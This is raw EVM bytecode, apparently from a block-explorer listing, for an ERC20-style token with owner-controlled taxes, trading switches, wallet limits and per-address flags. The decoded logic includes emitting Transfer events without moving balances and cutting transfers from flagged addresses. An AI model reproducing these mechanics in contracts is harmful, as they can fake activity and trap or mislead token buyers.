565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614c578161363f565b82525050565b6000614c698383614c4e565b60208301905092915050565b6000602082019050919050565b6000614c8d82614c22565b614c978185614c2d565b9350614ca283614c3e565b8060005b83811015614cd3578151614cba8882614c5d565b9750614cc583614c75565b925050600181019050614ca6565b5085935050505092915050565b600060a082019050614cf56000830188613729565b614d026020830187614c13565b8181036040830152614d148186614c82565b9050614d236060830185613a97565b614d306080830184613729565b969550505050505056fea2646970667358221220c6010ead5c02241623474a887204da217f782c6f390b85ab1f2a83c66c2142d164736f6c63430008170033000000000000000000000000831cb45a2907564f3a9d7ebcedc7b67f90da19f2

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061027f5760003560e01c80638da5cb5b1161015c578063c2b7bbb6116100ce578063e884f26011610087578063e884f26014610755578063f242ab411461075f578063f2fde38b1461077d578063f3dc390214610799578063fab82a8e146107bc578063fcbb7607146107db5761027f565b8063c2b7bbb6146106a7578063d0889358146106c3578063d34486ce146106df578063db05e5cb146106e9578063dd62ed3e146106f3578063e13b2007146107235761027f565b80639b6b5499116101205780639b6b5499146105d55780639fe64094146105f1578063a457c2d71461060d578063a4c82a001461063d578063a9059cbb1461065b578063bb85c6d11461068b5761027f565b80638da5cb5b1461054357806395d89b4114610561578063963629201461057f57806399e5b5c81461059d5780639a7a23d6146105b95761027f565b806339509351116101f557806370a08231116101b957806370a0823114610481578063715018a6146104b1578063730c1888146104bb57806373fa7ddb146104d757806377b5312c146104f357806385ecafd7146105135761027f565b806339509351146103df5780634ada218b1461040f5780634b896a3e1461042d57806352d65858146104495780635580145f146104655761027f565b806326ededb81161024757806326ededb81461033e578063293230b81461035a5780632c3e486c146103645780632e82f1a014610382578063313ce567146103a057806331f81511146103be5761027f565b806306fdde0314610284578063095ea7b3146102a257806318160ddd146102d2578063199ffc72146102f057806323b872dd1461030e575b600080fd5b61028c6107f7565b60405161029991906135f3565b60405180910390f35b6102bc60048036038101906102b791906136b3565b610889565b6040516102c9919061370e565b60405180910390f35b6102da6108a7565b6040516102e79190613738565b60405180910390f35b6102f86108b1565b6040516103059190613738565b60405180910390f35b61032860048036038101906103239190613753565b6108b7565b604051610335919061370e565b60405180910390f35b6103586004803603810190610353919061380b565b6109af565b005b610362610a86565b005b61036c610af3565b6040516103799190613738565b60405180910390f35b61038a610af9565b604051610397919061370e565b60405180910390f35b6103a8610b0c565b6040516103b59190613887565b60405180910390f35b6103c6610b15565b6040516103d694939291906138a2565b60405180910390f35b6103f960048036038101906103f491906136b3565b610b4f565b604051610406919061370e565b60405180910390f35b610417610bfb565b604051610424919061370e565b60405180910390f35b610447600480360381019061044291906138e7565b610c0e565b005b610463600480360381019061045e9190613914565b610cbc565b005b61047f600480360381019061047a91906138e7565b610d73565b005b61049b60048036038101906104969190613954565b610e21565b6040516104a89190613738565b60405180910390f35b6104b9610e69565b005b6104d560048036038101906104d091906139ad565b610e7d565b005b6104f160048036038101906104ec9190613a00565b610f49565b005b6104fb610ff0565b60405161050a93929190613a60565b60405180910390f35b61052d60048036038101906105289190613954565b611016565b60405161053a919061370e565b60405180910390f35b61054b61106c565b6040516105589190613aa6565b60405180910390f35b610569611096565b60405161057691906135f3565b60405180910390f35b610587611128565b604051610594919061370e565b60405180910390f35b6105b760048036038101906105b29190613954565b61113b565b005b6105d360048036038101906105ce9190613ac1565b611203565b005b6105ef60048036038101906105ea9190613ac1565b6112a9565b005b61060b60048036038101906106069190613914565b61135a565b005b610627600480360381019061062291906136b3565b611411565b604051610634919061370e565b60405180910390f35b6106456114fc565b6040516106529190613738565b60405180910390f35b610675600480360381019061067091906136b3565b611502565b604051610682919061370e565b60405180910390f35b6106a560048036038101906106a09190613954565b611520565b005b6106c160048036038101906106bc9190613954565b6115e8565b005b6106dd60048036038101906106d89190613b01565b611634565b005b6106e7611769565b005b6106f16117ca565b005b61070d60048036038101906107089190613b54565b61181c565b60405161071a9190613738565b60405180910390f35b61073d60048036038101906107389190613954565b6118a3565b60405161074c93929190613b94565b60405180910390f35b61075d61199c565b005b6107676119ee565b6040516107749190613aa6565b60405180910390f35b61079760048036038101906107929190613954565b611a14565b005b6107a1611a97565b6040516107b396959493929190613bcb565b60405180910390f35b6107c4611ac6565b6040516107d2929190613c2c565b60405180910390f35b6107f560048036038101906107f09190613ac1565b611b17565b005b60606003805461080690613c84565b80601f016020809104026020016040519081016040528092919081815260200182805461083290613c84565b801561087f5780601f106108545761010080835404028352916020019161087f565b820191906000526020600020905b81548152906001019060200180831161086257829003601f168201915b5050505050905090565b600061089d610896611bc8565b8484611bd0565b6001905092915050565b6000600254905090565b600b5481565b60006108c4848484611d99565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061090f611bc8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561098f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098690613d27565b60405180910390fd5b6109a38561099b611bc8565b858403611bd0565b60019150509392505050565b6109b7612aaf565b60005b83839050811015610a80578383828181106109d8576109d7613d47565b5b90506020020160208101906109ed9190613954565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6b9190613738565b60405180910390a380806001019150506109ba565b50505050565b610a8e612aaf565b6001601160066101000a81548160ff0219169083151502179055506000601160026101000a81548160ff021916908315150217905550427fb3da2db3dfc3778f99852546c6e9ab39ec253f9de7b0847afec61bd27878e92360405160405180910390a2565b600c5481565b601160049054906101000a900460ff1681565b60006009905090565b600080600080601160029054906101000a900460ff169350601160039054906101000a900460ff169250600e549150600f54905090919293565b6000610bf1610b5c611bc8565b848460016000610b6a611bc8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bec9190613da5565b611bd0565b6001905092915050565b601160069054906101000a900460ff1681565b610c16612aaf565b6005811015610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613e4b565b60405180910390fd5b6103e8610c656108a7565b82610c709190613e6b565b610c7a9190613edc565b600e819055507f12528a3c61e0f3b2d6fc707a9fc58b1af86e252cad0d7f4c154ebeabb162dace600e54604051610cb19190613738565b60405180910390a150565b610cc4612aaf565b8160148190555080601581905550601554601454610ce29190613da5565b60138190555060646013541115610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2590613f7f565b60405180910390fd5b7f38513c502b0ab4834ac1df9502b76f75dcf7092469782cfd0db7fe664388e25e601354601454601554604051610d6793929190613f9f565b60405180910390a15050565b610d7b612aaf565b6002811015610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690614022565b60405180910390fd5b6103e8610dca6108a7565b82610dd59190613e6b565b610ddf9190613edc565b600f819055507fff3dd5e80294197918c284bbfc3dadd97d0b40ce92106110946329088f80068a600f54604051610e169190613738565b60405180910390a150565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e71612aaf565b610e7b6000612b2d565b565b610e85612aaf565b610258831015610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec1906140b4565b60405180910390fd5b6103e88211158015610edd575060008210155b610f1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1390614146565b60405180910390fd5b82600c8190555081600b8190555080601160046101000a81548160ff021916908315150217905550505050565b610f51612aaf565b60005b83839050811015610fea5781601e6000868685818110610f7757610f76613d47565b5b9050602002016020810190610f8c9190613954565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610f54565b50505050565b6000806000601160019054906101000a900460ff1692506009549150600a549050909192565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546110a590613c84565b80601f01602080910402602001604051908101604052809291908181526020018280546110d190613c84565b801561111e5780601f106110f35761010080835404028352916020019161111e565b820191906000526020600020905b81548152906001019060200180831161110157829003601f168201915b5050505050905090565b601160059054906101000a900460ff1681565b611143612aaf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fb91dbdeaf34f885ccae2d8abc3967cb03c079b6af2c7944e3893fd29427d75e760405160405180910390a380601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61120b612aaf565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361129b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611292906141d8565b60405180910390fd5b6112a58282612bf3565b5050565b6112b1612aaf565b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405161134e919061370e565b60405180910390a25050565b611362612aaf565b81601781905550806018819055506018546017546113809190613da5565b601681905550606460165411156113cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c39061426a565b60405180910390fd5b7fcb5f36df892836a2eaedc349de29a7581176990398ee185d16eaa8f6c1abd8f160165460175460185460405161140593929190613f9f565b60405180910390a15050565b60008060016000611420611bc8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d4906142fc565b60405180910390fd5b6114f16114e8611bc8565b85858403611bd0565b600191505092915050565b600d5481565b600061151661150f611bc8565b8484611d99565b6001905092915050565b611528612aaf565b601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8616c7a330e3cf61290821331585511f1e2778171e2b005fb5ec60cfe874dc6760405160405180910390a380601160076101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115f0612aaf565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61163c612aaf565b6001821015611680576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116779061438e565b60405180910390fd5b818110156116c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ba90614420565b60405180910390fd5b82601160016101000a81548160ff021916908315150217905550612710826116e96108a7565b6116f39190613e6b565b6116fd9190613edc565b6009819055506127108161170f6108a7565b6117199190613e6b565b6117239190613edc565b600a819055507f52cd2cdb42ff0eeec9362d7ed5b04f64c8d022697128b5378fc51cea7e63c77983838360405161175c93929190613a60565b60405180910390a1505050565b611771612aaf565b60001515601160059054906101000a900460ff161515036117ac576001601160056101000a81548160ff0219169083151502179055506117c8565b6000601160056101000a81548160ff0219169083151502179055505b565b6117d2612aaf565b6000601160026101000a81548160ff021916908315150217905550427ff4eaa75eae08ae80c3daf791438dac1cff2cfd3b0bad2304ec7bbb067e50261660405160405180910390a2565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169250601c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169150601d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690509193909250565b6119a4612aaf565b6000601160036101000a81548160ff021916908315150217905550427f26e776fcf7ca20aa79b5b946e9b5111f47205539ece9d7a7995271dd6a8b5bad60405160405180910390a2565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a1c612aaf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a82906144b2565b60405180910390fd5b611a9481612b2d565b50565b600080600080600080601354955060145494506015549350601654925060175491506018549050909192939495565b600080601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16915091509091565b611b1f612aaf565b80601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f4b89c347592b1d537e066cb4ed98d87696ae35164745d7e370e4add16941dc9282604051611bbc919061370e565b60405180910390a25050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3690614544565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca5906145d6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d8c9190613738565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff90614668565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6e906146fa565b60405180910390fd5b60011515601160059054906101000a900460ff1615150315612aaa5760008103611eac57611ea783836000612c94565b612aaa565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403611f385743601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160029054906101000a900460ff16156125fd57611f5561106c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fc35750611f9361106c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ffc5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612036575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561204f5750601160009054906101000a900460ff16155b156125fc57601160069054906101000a900460ff1661214957601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121095750601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213f9061478c565b60405180910390fd5b5b601160039054906101000a900460ff16156123135761216661106c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156121ed57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122475750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156123125743601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106122cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c490614844565b60405180910390fd5b43601060003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123b65750601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561245d57600f54811115612400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f7906148d6565b60405180910390fd5b600e5461240c83610e21565b826124179190613da5565b1115612458576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244f90614942565b60405180910390fd5b6125fb565b601d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125005750601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561254f57600f5481111561254a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612541906149d4565b60405180910390fd5b6125fa565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125f957600e546125ac83610e21565b826125b79190613da5565b11156125f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ef90614942565b60405180910390fd5b5b5b5b5b5b600061260830610e21565b90506000600954821015905080801561262d5750601160019054906101000a900460ff165b80156126465750601160009054906101000a900460ff16155b801561269c5750601d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156126f25750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127485750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561278c576001601160006101000a81548160ff021916908315150217905550612770612f13565b6000601160006101000a81548160ff0219169083151502179055505b6000601160009054906101000a900460ff16159050601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806128425750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561284c57600090505b60008115612a5f57601d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156128af57506000601654115b15612949576128dc60646128ce601654886130d190919063ffffffff16565b6130e790919063ffffffff16565b9050601654601854826128ef9190613e6b565b6128f99190613edc565b601a600082825461290a9190613da5565b92505081905550601654601754826129229190613e6b565b61292c9190613edc565b6019600082825461293d9190613da5565b92505081905550612a3b565b601d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129a457506000601354115b15612a3a576129d160646129c3601354886130d190919063ffffffff16565b6130e790919063ffffffff16565b9050601354601554826129e49190613e6b565b6129ee9190613edc565b601a60008282546129ff9190613da5565b9250508190555060135460145482612a179190613e6b565b612a219190613edc565b60196000828254612a329190613da5565b925050819055505b5b6000811115612a5057612a4f873083612c94565b5b8085612a5c91906149f4565b94505b601160009054906101000a900460ff16158015612a885750601160049054906101000a900460ff165b15612a9a57612a9787866130fd565b94505b612aa5878787612c94565b505050505b505050565b612ab7611bc8565b73ffffffffffffffffffffffffffffffffffffffff16612ad561316c565b73ffffffffffffffffffffffffffffffffffffffff1614612b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2290614a74565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cfa90614668565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612d72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d69906146fa565b60405180910390fd5b612d7d838383613180565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dfa90614b06565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e969190613da5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612efa9190613738565b60405180910390a3612f0d848484613185565b50505050565b6000612f1e30610e21565b905060008190506000808303612f36575050506130cf565b600a54831115612f4657600a5492505b60008390506000479050612f598261318a565b6000612f6e82476133c790919063ffffffff16565b90506000612f9986612f8b601a54856130d190919063ffffffff16565b6130e790919063ffffffff16565b905060006019819055506000601a81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051612ff190614b57565b60006040518083038185875af1925050503d806000811461302e576040519150601f19603f3d011682016040523d82523d6000602084013e613033565b606091505b505080955050601160079054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161307f90614b57565b60006040518083038185875af1925050503d80600081146130bc576040519150601f19603f3d011682016040523d82523d6000602084013e6130c1565b606091505b505080955050505050505050505b565b600081836130df9190613e6b565b905092915050565b600081836130f59190613edc565b905092915050565b600080829050601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156131625761315f83856133dd565b90505b8091505092915050565b6000806131776134a1565b90508091505090565b505050565b505050565b6000600267ffffffffffffffff8111156131a7576131a6614b6c565b5b6040519080825280602002602001820160405280156131d55781602001602082028036833780820191505090505b50905030816000815181106131ed576131ec613d47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613292573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132b69190614bb0565b816001815181106132ca576132c9613d47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061332f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611bd0565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613391959493929190614ce0565b600060405180830381600087803b1580156133ab57600080fd5b505af11580156133bf573d6000803e3d6000fd5b505050505050565b600081836133d591906149f4565b905092915050565b600080603290506000601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544361343191906149f4565b9050600082826134419190613e6b565b905060006064821161345f5781606461345a91906149f4565b613462565b60005b90506000606482896134749190613e6b565b61347e9190613edc565b905061349460008261354990919063ffffffff16565b9550505050505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461352057600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613544565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081831015613559578161355b565b825b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561359d578082015181840152602081019050613582565b60008484015250505050565b6000601f19601f8301169050919050565b60006135c582613563565b6135cf818561356e565b93506135df81856020860161357f565b6135e8816135a9565b840191505092915050565b6000602082019050818103600083015261360d81846135ba565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061364a8261361f565b9050919050565b61365a8161363f565b811461366557600080fd5b50565b60008135905061367781613651565b92915050565b6000819050919050565b6136908161367d565b811461369b57600080fd5b50565b6000813590506136ad81613687565b92915050565b600080604083850312156136ca576136c9613615565b5b60006136d885828601613668565b92505060206136e98582860161369e565b9150509250929050565b60008115159050919050565b613708816136f3565b82525050565b600060208201905061372360008301846136ff565b92915050565b6137328161367d565b82525050565b600060208201905061374d6000830184613729565b92915050565b60008060006060848603121561376c5761376b613615565b5b600061377a86828701613668565b935050602061378b86828701613668565b925050604061379c8682870161369e565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f8401126137cb576137ca6137a6565b5b8235905067ffffffffffffffff8111156137e8576137e76137ab565b5b602083019150836020820283011115613804576138036137b0565b5b9250929050565b60008060006040848603121561382457613823613615565b5b600084013567ffffffffffffffff8111156138425761384161361a565b5b61384e868287016137b5565b935093505060206138618682870161369e565b9150509250925092565b600060ff82169050919050565b6138818161386b565b82525050565b600060208201905061389c6000830184613878565b92915050565b60006080820190506138b760008301876136ff565b6138c460208301866136ff565b6138d16040830185613729565b6138de6060830184613729565b95945050505050565b6000602082840312156138fd576138fc613615565b5b600061390b8482850161369e565b91505092915050565b6000806040838503121561392b5761392a613615565b5b60006139398582860161369e565b925050602061394a8582860161369e565b9150509250929050565b60006020828403121561396a57613969613615565b5b600061397884828501613668565b91505092915050565b61398a816136f3565b811461399557600080fd5b50565b6000813590506139a781613981565b92915050565b6000806000606084860312156139c6576139c5613615565b5b60006139d48682870161369e565b93505060206139e58682870161369e565b92505060406139f686828701613998565b9150509250925092565b600080600060408486031215613a1957613a18613615565b5b600084013567ffffffffffffffff811115613a3757613a3661361a565b5b613a43868287016137b5565b93509350506020613a5686828701613998565b9150509250925092565b6000606082019050613a7560008301866136ff565b613a826020830185613729565b613a8f6040830184613729565b949350505050565b613aa08161363f565b82525050565b6000602082019050613abb6000830184613a97565b92915050565b60008060408385031215613ad857613ad7613615565b5b6000613ae685828601613668565b9250506020613af785828601613998565b9150509250929050565b600080600060608486031215613b1a57613b19613615565b5b6000613b2886828701613998565b9350506020613b398682870161369e565b9250506040613b4a8682870161369e565b9150509250925092565b60008060408385031215613b6b57613b6a613615565b5b6000613b7985828601613668565b9250506020613b8a85828601613668565b9150509250929050565b6000606082019050613ba960008301866136ff565b613bb660208301856136ff565b613bc360408301846136ff565b949350505050565b600060c082019050613be06000830189613729565b613bed6020830188613729565b613bfa6040830187613729565b613c076060830186613729565b613c146080830185613729565b613c2160a0830184613729565b979650505050505050565b6000604082019050613c416000830185613a97565b613c4e6020830184613a97565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613c9c57607f821691505b602082108103613caf57613cae613c55565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613d1160288361356e565b9150613d1c82613cb5565b604082019050919050565b60006020820190508181036000830152613d4081613d04565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613db08261367d565b9150613dbb8361367d565b9250828201905080821115613dd357613dd2613d76565b5b92915050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b6000613e3560248361356e565b9150613e4082613dd9565b604082019050919050565b60006020820190508181036000830152613e6481613e28565b9050919050565b6000613e768261367d565b9150613e818361367d565b9250828202613e8f8161367d565b91508282048414831517613ea657613ea5613d76565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613ee78261367d565b9150613ef28361367d565b925082613f0257613f01613ead565b5b828204905092